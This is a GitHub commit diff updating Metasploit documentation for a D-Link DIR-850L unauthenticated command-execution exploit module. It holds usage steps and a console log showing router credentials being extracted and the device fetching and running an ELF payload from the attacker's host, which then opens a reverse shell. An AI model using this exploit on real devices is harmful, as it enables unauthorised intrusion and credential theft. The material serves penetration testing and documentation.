Skip to content

Commit 646c7f7

Browse files
author
Austin
authored
update doc
1 parent e783cb5 commit 646c7f7

File tree

1 file changed

+33
-44
lines changed

1 file changed

+33
-44
lines changed

documentation/modules/exploit/linux/http/dlink_dir850l_unauth_exec.md

Lines changed: 33 additions & 44 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@ are potentially vulnerable. The vulneralbility seems to occur within the parsing
88
1. Start msfconsole
99
2. Do : `use exploit/linux/http/dlink_dir850l_unauth_exec.rb`
1010
3. Do : `set RHOST [RouterIP]`
11-
4. Do : `set PAYLOAD linux/mipsle/shell/reverse_tcp`
11+
4. Do : `set PAYLOAD linux/mipsbe/shell/reverse_tcp`
1212
5. Do : `run`
1313
6. If router is vulnerable, payload should be dropped via wget and executed, and therein should obtain an session
1414

@@ -17,59 +17,48 @@ are potentially vulnerable. The vulneralbility seems to occur within the parsing
1717

1818
```
1919
msf > use exploit/linux/http/dlink_dir850l_unauth_exec
20-
msf exploit(dlink_850l_unauthenticated_exec) > set RHOST 192.168.0.14
20+
msf exploit(dlink_dir850l_unauth_exec) > set RHOST 192.168.0.14
2121
RHOST => 192.168.0.14
22-
msf exploit(dlink_850l_unauthenticated_exec) > set RPORT 80
22+
msf exploit(dlink_dir850l_unauth_exec) > set RPORT 80
2323
RPORT => 80
24-
msf exploit(dlink_850l_unauthenticated_exec) > set LHOST ens3
24+
msf exploit(dlink_dir850l_unauth_exec) > check
25+
[*] 192.168.0.14:80 The target service is running, but could not be validated.
26+
msf exploit(dlink_dir850l_unauth_exec) > set VERBOSE true
27+
VERBOSE => true
28+
msf exploit(dlink_dir850l_unauth_exec) > set LHOST ens3
2529
LHOST => ens3
26-
msf exploit(dlink_850l_unauthenticated_exec) > set LPORT 1351
27-
LPORT => 1351
28-
msf exploit(dlink_850l_unauthenticated_exec) > run
29-
[*] Exploit running as background job 0.
30+
msf exploit(dlink_dir850l_unauth_exec) > set LPORT 3131
31+
LPORT => 3131
32+
msf exploit(dlink_dir850l_unauth_exec) > run
3033
31-
[*] Started reverse TCP handler on 192.168.0.11:1351
32-
msf exploit(dlink_850l_unauthenticated_exec) > [*] 192.168.0.14:80 - Starting up web service http://192.168.0.11:80/kiRtmoNlSNHUnxO
33-
[*] Using URL: http://0.0.0.0:80/kiRtmoNlSNHUnxO
34-
[*] Local IP: http://192.168.0.11:80/kiRtmoNlSNHUnxO
35-
[*] 192.168.0.14:80 - Asking target to request to download http://192.168.0.11:80/kiRtmoNlSNHUnxO
34+
[*] Started reverse TCP handler on 192.168.0.11:3131
35+
[*] 192.168.0.14:80 - Connecting to target...
36+
[+] 192.168.0.14:80 - Retrieved the username/password combo Admin/92830535
37+
[+] 192.168.0.14:80 - Downloaded credentials to /root/.msf4/loot/20171104113614_default_192.168.0.14_dlink.dir850l.lo_146186.txt
38+
[*] 192.168.0.14:80 - Starting up web service http://192.168.0.11:8080/ZUrlVeWUm
39+
[*] Using URL: http://0.0.0.0:8080/ZUrlVeWUm
40+
[*] Local IP: http://192.168.0.11:8080/ZUrlVeWUm
41+
[*] 192.168.0.14:80 - Asking target to request to download http://192.168.0.11:8080/ZUrlVeWUm
3642
[*] 192.168.0.14:80 - Waiting for target to request the ELF payload...
3743
[*] 192.168.0.14:80 - Sending payload to the server...
38-
[*] 192.168.0.14:80 - Requesting device to chmod kiRtmoNlSNHUnxO
39-
[*] 192.168.0.14:80 - Requesting device to execute kiRtmoNlSNHUnxO
40-
[*] 192.168.0.14:80 - Waiting for shell to connect back to us...
44+
[*] 192.168.0.14:80 - Requesting device to chmod ZUrlVeWUm
45+
[*] 192.168.0.14:80 - Requesting device to execute ZUrlVeWUm
46+
[*] 192.168.0.14:80 - Waiting 10 seconds for shell to connect back to us...
4147
[*] Sending stage (84 bytes) to 192.168.0.14
42-
[*] Command shell session 1 opened (192.168.0.11:1351 -> 192.168.0.14:48679) at 2017-11-03 09:05:13 -0400
43-
[+] Deleted /tmp/dhufstzw
44-
sessions -i 1
48+
[*] Command shell session 1 opened (192.168.0.11:3131 -> 192.168.0.14:43953) at 2017-11-04 11:36:26 -0400
49+
[+] Deleted /tmp/uoskutcy
50+
[-] Exploit aborted due to failure: unknown: 192.168.0.14:80 - Shell never connected to us!, disconnect?
51+
[*] Server stopped.
52+
[*] Exploit completed, but no session was created.
53+
msf exploit(dlink_dir850l_unauth_exec) > sessions -i 1
4554
[*] Starting interaction with 1...
4655
47-
3353690789
48-
yBvPAaTjxEjNJrrzHHdFNXGNWNywfECC
56+
190745749
57+
wUVNdEKSrgeaxdSQyfTyxvaoYgFzyvGj
4958
true
50-
MhhOHvSRnLmxcFwdTiIdZFcHzGRAIhlA
51-
mMzxldJdkNYWlIrHrOazzOcpCRTuRipt
52-
OayNFBMDfTSaJIFwpNPoWErXCvLmIguK
53-
[-] Exploit aborted due to failure: unknown: 192.168.0.14:80 - Shell never connected to us!, disconnect?
54-
[*] Server stopped.
59+
pQfaUhhwMvgnWrLpQXhhUAioNBFHPRZP
60+
OgkEaOTPYbUEOLlLpLFEbodBvHFmVRmH
61+
iNaYBrmsZqFyolPWWRKEHsKglrSlSGkY
5562
pwd
5663
/
57-
ls
58-
www
59-
var
60-
usr
61-
tmp
62-
sys
63-
sbin
64-
proc
65-
mydlink
66-
mnt
67-
lib
68-
include
69-
htdocs
70-
home
71-
etc
72-
dev
73-
bin
74-
7564
```

0 commit comments

Comments
 (0)